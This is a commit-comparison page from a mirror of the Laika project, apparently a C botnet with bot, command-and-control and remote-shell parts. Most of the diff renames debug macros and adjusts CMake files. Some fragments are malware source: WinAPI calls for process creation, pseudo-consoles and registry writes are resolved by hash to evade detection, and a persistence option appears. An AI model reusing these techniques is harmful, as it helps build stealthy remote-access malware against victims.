1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-05-16 12:50:25 +00:00

Compare commits

..

No commits in common. "0adfdc0acea8402dbbbc0dfd9eacd913fae1c4a7" and "7ec814525c6aac66d2203ea70f02436b26633861" have entirely different histories.

18 changed files with 29 additions and 36 deletions

View File

@ -89,9 +89,9 @@ add_subdirectory(tools/vmboxgen)
# compile laikalib, tools, cnc & bot # compile laikalib, tools, cnc & bot
add_subdirectory(lib) add_subdirectory(lib)
add_subdirectory(tools) add_subdirectory(tools)
add_subdirectory(bot)
# these subprojects don't support windows (sorry) # these subprojects don't support windows (sorry)
add_subdirectory(bot) # windows support Soon:tm:
if(NOT WIN32 AND (UNIX AND NOT APPLE)) if(NOT WIN32 AND (UNIX AND NOT APPLE))
add_subdirectory(cnc) add_subdirectory(cnc)
add_subdirectory(shell) add_subdirectory(shell)

View File

@ -30,6 +30,9 @@ if(LAIKA_OBFUSCATE)
add_dependencies(LaikaBot VMBoxGen) add_dependencies(LaikaBot VMBoxGen)
endif () endif ()
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory # add include directory
target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR}) target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})

View File

@ -10,7 +10,7 @@
#include <stdio.h> #include <stdio.h>
#ifdef _WIN32 #ifdef _WIN32
# ifndef LAIKA_DEBUG_BUILD # ifndef DEBUG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{ {
# else # else

View File

@ -13,5 +13,8 @@ file(GLOB_RECURSE CNCHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS}) add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS})
target_link_libraries(LaikaCNC PUBLIC LaikaLib) target_link_libraries(LaikaCNC PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaCNC PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory # add include directory
target_include_directories(LaikaCNC PUBLIC ${CNC_INCLUDEDIR}) target_include_directories(LaikaCNC PUBLIC ${CNC_INCLUDEDIR})

View File

@ -24,8 +24,8 @@ target_link_libraries(LaikaLib PUBLIC sodium)
# make sure we're compiled *AFTER* lboxconfig.h has been generated # make sure we're compiled *AFTER* lboxconfig.h has been generated
add_dependencies(LaikaLib VMBoxGen) add_dependencies(LaikaLib VMBoxGen)
# add the version definitions # add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaLib PUBLIC) target_compile_definitions(LaikaLib PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory # add include directory
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include) target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include)

View File

@ -24,10 +24,10 @@
/* LAIKA_ERROR(printf args): /* LAIKA_ERROR(printf args):
if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block, if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
otherwise program is exit()'d. if LAIKA_DEBUG_BUILD is defined printf is called with passed args, else otherwise program is exit()'d. if DEBUG is defined printf is called with passed args, else
arguments are ignored. arguments are ignored.
*/ */
#ifndef LAIKA_DEBUG_BUILD #ifndef DEBUG
# define LAIKA_ERROR(...) \ # define LAIKA_ERROR(...) \
do { \ do { \
if (LAIKA_ISPROTECTED) \ if (LAIKA_ISPROTECTED) \

View File

@ -1,7 +1,6 @@
#ifndef LAIKA_RSA_H #ifndef LAIKA_RSA_H
#define LAIKA_RSA_H #define LAIKA_RSA_H
#include "lconfig.h"
#include "sodium.h" #include "sodium.h"
#include <stdbool.h> #include <stdbool.h>

View File

@ -76,7 +76,7 @@ enum
OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */ OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
/* misc. */ /* misc. */
#ifdef LAIKA_DEBUG_BUILD #ifdef DEBUG
OP_DEBUG OP_DEBUG
#endif #endif
}; };
@ -154,7 +154,7 @@ LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
break; break;
} }
#ifdef LAIKA_DEBUG_BUILD #ifdef DEBUG
case OP_DEBUG: { case OP_DEBUG: {
int i; int i;

View File

@ -11,7 +11,7 @@
#include <string.h> #include <string.h>
#include <inttypes.h> #include <inttypes.h>
#ifdef LAIKA_DEBUG_BUILD #ifdef DEBUG
# define LAIKA_DEBUG(...) \ # define LAIKA_DEBUG(...) \
printf("[~] " __VA_ARGS__); \ printf("[~] " __VA_ARGS__); \
fflush(stdout); fflush(stdout);

View File

@ -15,7 +15,6 @@
/* settings */ /* settings */
#cmakedefine LAIKA_PERSISTENCE #cmakedefine LAIKA_PERSISTENCE
#cmakedefine LAIKA_OBFUSCATE #cmakedefine LAIKA_OBFUSCATE
#cmakedefine LAIKA_DEBUG_BUILD
/* raw obfuscated strings */ /* raw obfuscated strings */

View File

@ -7,7 +7,6 @@
# include <process.h> # include <process.h>
# include <windows.h> # include <windows.h>
#ifdef LAIKA_OBFUSCATE
/* WINAPI types */ /* WINAPI types */
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT); typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *); typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
@ -26,19 +25,6 @@ extern _RegOpenKeyExA oRegOpenKeyExA;
extern _RegCloseKey oRegCloseKey; extern _RegCloseKey oRegCloseKey;
extern _RegSetValueExA oRegSetValueExA; extern _RegSetValueExA oRegSetValueExA;
extern _RegQueryValueExA oRegQueryValueExA; extern _RegQueryValueExA oRegQueryValueExA;
#else
/* disabling obfuscation by macro magic :O */
#define oShellExecuteA ShellExecuteA
#define oCreatePseudoConsole CreatePseudoConsole
#define oClosePseudoConsole ClosePseudoConsole
#define oCreateProcessA CreateProcessA
#define oRegOpenKeyExA RegOpenKeyExA
#define oRegCloseKey RegCloseKey
#define oRegSetValueExA RegSetValueExA
#define oRegQueryValueExA RegQueryValueExA
#endif
#endif #endif
void laikaO_init(); void laikaO_init();

View File

@ -1,7 +1,6 @@
#ifndef LAIKA_PACKET_H #ifndef LAIKA_PACKET_H
#define LAIKA_PACKET_H #define LAIKA_PACKET_H
#include "lconfig.h"
#include <inttypes.h> #include <inttypes.h>
#define LAIKA_MAGIC "LAI\x12" #define LAIKA_MAGIC "LAI\x12"
@ -122,7 +121,7 @@ enum
typedef uint8_t LAIKAPKT_ID; typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE; typedef uint16_t LAIKAPKT_SIZE;
#ifdef LAIKA_DEBUG_BUILD #ifdef DEBUG
const char *laikaD_getPacketName(LAIKAPKT_ID); const char *laikaD_getPacketName(LAIKAPKT_ID);
#endif #endif

View File

@ -1,6 +1,6 @@
#include "net/lpacket.h" #include "net/lpacket.h"
#ifdef LAIKA_DEBUG_BUILD #ifdef DEBUG
const char *laikaD_getPacketName(LAIKAPKT_ID id) const char *laikaD_getPacketName(LAIKAPKT_ID id)
{ {
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT", const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",

View File

@ -137,7 +137,6 @@ _findByHashFail:
/* ======================================[[ Exposed API ]]====================================== */ /* ======================================[[ Exposed API ]]====================================== */
#ifdef LAIKA_OBFUSCATE
_ShellExecuteA oShellExecuteA; _ShellExecuteA oShellExecuteA;
_CreatePseudoConsole oCreatePseudoConsole; _CreatePseudoConsole oCreatePseudoConsole;
_ClosePseudoConsole oClosePseudoConsole; _ClosePseudoConsole oClosePseudoConsole;
@ -164,10 +163,4 @@ void laikaO_init()
oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309)); oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7)); oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735)); oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
} }
#else
void laikaO_init()
{
/* stubbed!! */
}
#endif

View File

@ -13,5 +13,8 @@ file(GLOB_RECURSE SHELLHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS}) add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS})
target_link_libraries(LaikaShell PUBLIC LaikaLib) target_link_libraries(LaikaShell PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaShell PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory # add include directory
target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR}) target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR})

View File

@ -9,3 +9,6 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
file(GLOB_RECURSE GENKEYSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) file(GLOB_RECURSE GENKEYSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(genKey ${GENKEYSOURCE}) add_executable(genKey ${GENKEYSOURCE})
target_link_libraries(genKey PUBLIC LaikaLib) target_link_libraries(genKey PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(genKey PUBLIC "$<$<CONFIG:Debug>:DEBUG>")

View File

@ -10,6 +10,9 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(VMBoxGen ${VMTESTSOURCE}) add_executable(VMBoxGen ${VMTESTSOURCE})
target_link_libraries(VMBoxGen PUBLIC) target_link_libraries(VMBoxGen PUBLIC)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# generate the VMBOXCONFIG file # generate the VMBOXCONFIG file
if(LAIKA_OBFUSCATE) if(LAIKA_OBFUSCATE)
add_custom_command(TARGET VMBoxGen POST_BUILD add_custom_command(TARGET VMBoxGen POST_BUILD

View File

@ -10,3 +10,5 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(vmTest ${VMTESTSOURCE}) add_executable(vmTest ${VMTESTSOURCE})
target_link_libraries(vmTest PUBLIC LaikaLib) target_link_libraries(vmTest PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(vmTest PUBLIC "$<$<CONFIG:Debug>:DEBUG>")